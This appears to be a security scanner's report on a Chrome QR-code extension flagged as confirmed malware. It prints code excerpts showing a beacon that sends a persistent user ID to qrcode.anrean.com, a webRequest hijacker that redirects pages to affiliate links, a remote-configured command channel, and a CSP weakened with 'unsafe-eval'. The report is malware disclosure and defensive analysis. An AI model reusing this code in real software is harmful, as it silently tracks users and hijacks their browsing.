Security Alert: Confirmed Malware
小丰二维码
ID: anamdmjnllfgnoamcnlafmhemfcppbbc
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- llcchj2View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
小丰二维码可以方便将网页转换为二维码,也可以简单识别网页中的二维码图片。
小丰二维码可以方便将网页转换为二维码,也可以简单识别网页中的二维码图片,方便您从pc到手机的转换,而且识别二维码功能可以方便您识别一个未知二维码信息。
The extension uses a hidden image beacon to exfiltrate user data to `http://qrcode.anrean.com/log.json`. The payload includes a persistent user ID (`u:k`), a channel/name value (`n:v`), extension version, session count, page ID, and millisecond timestamp. This beacon fires silently on every tracked user event without user knowledge or consent.
C = { log: function(e) { var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0, r = arguments[2]; if (t && r) { var n = !0, a = (new Date).getTime(); if (r in w && (n = a - w[r] > 3e5), !n) return; w[r] = a } var o = Object.assign({}, e, { tms: (new Date).getTime() }); (new Image).src = "http://qrcode.anrean.com/log.json?" + $.param(o) },The `R` function is a webRequest `onBeforeRequest` blocking listener that intercepts user navigation to specific sites and redirects them to affiliate/tracking URLs. It appends user identifiers (`u:k`, `ch:v`, `pi:325`) to the redirect destination. The original URL (`r:e.url`) is also exfiltrated to the tracking beacon, meaning the extension collects the user's full browsing history for matched domains and silently redirects them — classic affiliate fraud / traffic hijacking.
var R = function(e) { var t = e.tabId > 0, r = "GET" === e.method, a = "main_frame" === e.type, o = e.url.includes("http"), i = S; if (a && t && r && o && i) { var s = e.url, u = parseUrl(s); if (O.isVT(e.tabId, u.host) && i[u.host]) { var l = s, f = 0, g = i[u.host].r; if (O.isRf(e)) return {}; var d = s.replace(u.protocol, ""), h = O.isVu(g); if (!h.fg || "" == m) return {}; if (Array.isArray(g.b)) { var x = { ch: v, pi: 325, u: k }; f = 1; var b = y(Object.keys(x).sort(), x); l = g.a + "?" + b, ... var q = { p1: 309, p2: 303, et: 113, pan: p, pi: 325, r: e.url }; if (Object.assign(q, c()), C.log(q), ... return n({}, m, D.dest) } } };The `D.task()` function registers a Chrome API event listener (e.g., `chrome.webRequest.onBeforeRequest.addListener`) using fully dynamic property access (`t[w][r][a]`) where the Chrome API name, event name, method, URL patterns, and extra-info spec are all sourced from a remotely fetched configuration key (`tk`). This deliberately obfuscates the webRequest interception from static analysis tools and allows the remote server to change which sites are intercepted without updating the extension.
D = { task: function() { C.storage.get("tk", function(e) { var t = A.g; if (t && e.tk && e.tk.value && e.tk.value.w && e.tk.value.r && e.tk.value.a) { var r = new Array; m = e.tk.value.tu; r[0] = e.tk.value.al; var a = n({}, e.tk.value.u, r); var o = new Array; T = e.tk.value.rf; o[0] = e.tk.value.b; t[e.tk.value.w] && t[e.tk.value.w][e.tk.value.r][e.tk.value.a](R, a, o) } }) },The `get_recm`/`set_recm` handlers implement a remote command-and-control configuration channel. The extension fetches a JSON payload from `http://qrcode.anrean.com/qr/code.json`, decodes it, stores it as `recm`, and if it contains a `version.r` field, stores that as `tk` and immediately calls `D.task()` to re-register the web request interceptor with the new rules. This means the remote server can push new URL redirect rules and Chrome API targets at any time.
E = { set_recm: function(e, t, r) { var n = e.base; if (n) { var a = (0, d.decodeURL)(n), o = a && JSON.parse(a) || {}; if (Object.keys(o).length) { if (C.storage.set("recm", o, { expire: 788e5 }), S = {}, Object.assign(S, o), o.version && o.version.r) { var i = o.version.r; C.storage.set("tk", i), D.task() } } else S = {}; t(null) } }, get_recm: function(e, t, r) { ...M.ajax({ url: e.options.url, success: function(e) { if (e) { var r = { value: e, flag: "1" }; t(r) }... } }) },The content script, injected into every `http://*/*` and `https://*/*` page, calls `appInit` on each page load. It sends user identifiers (user ID `u`, name `n`, page ID `pi`, version `vp`, timestamp) to the remote server at `http://qrcode.anrean.com/qr/code.json` and receives updated redirect configuration in return. The current domain's hostname is also extracted and implicitly provided as context, enabling per-site redirect rule delivery.
e.appInit = function() { var n = ((new Date).getTime(), { u: e.params.u, n: e.params.n, sc: "", an: e.params.pan, vp: e.params.vp, lp: 204, pi: 204, time: (new Date).getTime() }), t = Object.keys(n).sort(), o = r(t, n), c = "http://qrcode.anrean.com/qr/code.json?" + o; e.runtimeSend({ title: "get_recm", options: { url: c } }, function(n) { var t = location.hostname; try { t = t.match(/([-\w]+\.\b(?:net\.cn|com\.hk|com\.cn|com|cn|net|org|cc|tv$|hk)\b)/)[1] } catch (e) {} n.value && "1" == n.flag && e.runtimeSend({ title: "set_recm", base: n.value }, function(e) {}) })},On installation, the extension generates a UUID-like unique user identifier (`gid`) stored permanently in `localStorage` and synced to `chrome.storage.local`. This ID (`k`) is included in every outbound tracking beacon and redirect URL, enabling long-term cross-site tracking of individual users. The `c()` function assembles a fingerprint payload (GID, channel, version, session count, timestamps) that is attached to all remote calls.
function i(e) { var t = function(e) { e(null) }; ! function(e) { t(function(t) { null === t && (k = localStorage.getItem("gid"), null === k && (k = o(), localStorage.setItem("gid", k)), C.storage.get("cn", function(t) { t.cn && t.cn.value && (v = t.cn.value), C.storage.set("gid", k), C.storage.set("ver", a()), e(A) })) }) }(e)}function c() { return { u: k, n: v, vp: a(), sc: A.pdin, an: p, tms: (new Date).getTime(), time: (new Date).getTime() }}The extension tracks a persistent `acd` (account/active day counter) that increments each session, and sends a daily telemetry beacon with event codes (`p1:231, p2:98, et:11`) to the remote tracking server. This establishes a longitudinal usage profile tied to the permanent user GID. The counter value `p` (install age in days) is included in every redirect URL as the `pan` parameter, providing the affiliate network with install-age data.
var j = function() { C.storage.get("acd", function(e) { var t = e.acd; if (t && t.value) { var r = (new Date).getTime(); r - t.options.expirep > 68e6 ? (C.storage.set("acd", t.value, { c: t.options.c + 1, expirep: r }), p = t.options.c + 1) : p = t.options.c } else C.storage.set("acd", {}, { c: 1, expirep: (new Date).getTime() }) }); var e = h("yyyy-MM-dd", new Date), t = new Date(e.replace(/-/g, "/")), r = t, n = localStorage.getItem("sDay"); if (n && (r = new Date(n)), t > r || !n) { var a = Object.assign({}, c(), { p1: 231, p2: 98, et: 11, an: p, pi: 325 }); C.log(a), localStorage.setItem("sDay", e) }};The extension popup contains a "recommended QR code" panel whose content (image URL and description text) is loaded entirely from the remotely fetched `recm` configuration. The description is injected via `.html(r)` (jQuery innerHTML), which allows the remote server to inject arbitrary HTML into the extension popup, a potential XSS vector. This feature is also an ad-delivery mechanism disguised as a utility.
e.get("recm", function(c) { if (c && c.recm && c.recm.value) { "" == (e = c.recm.value.qrurl) && (e = "icon/qrcode.png"), "" == (r = c.recm.value.desc) && (r = "哔哩哔哩~热门弹幕视频!"), $("#qr_recommend_url").attr("src", e), $("." + "qr_code_desc").html(r) } else { var e = "icon/icon128.png", r = "正在加载推荐二维码。。。"; $("#qr_recommend_url").attr("src", e), $("." + "qr_code_desc").html(r) }});The manifest explicitly weakens the Content Security Policy by including `'unsafe-eval'`, allowing `eval()`, `Function()`, and similar dynamic code execution methods. Combined with the remote configuration loading, this permits the remote server to potentially deliver and execute arbitrary JavaScript strings within the extension context.
{ "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"}By severity
Versions scanned
Showing 2 of 7 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 7.12.15 | 5 |
| 1.0.2 | 9 |
Files with findings
4 distinct paths — top paths by unique finding count:
- js/background.js9
- js/content.js3
- js/popup.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.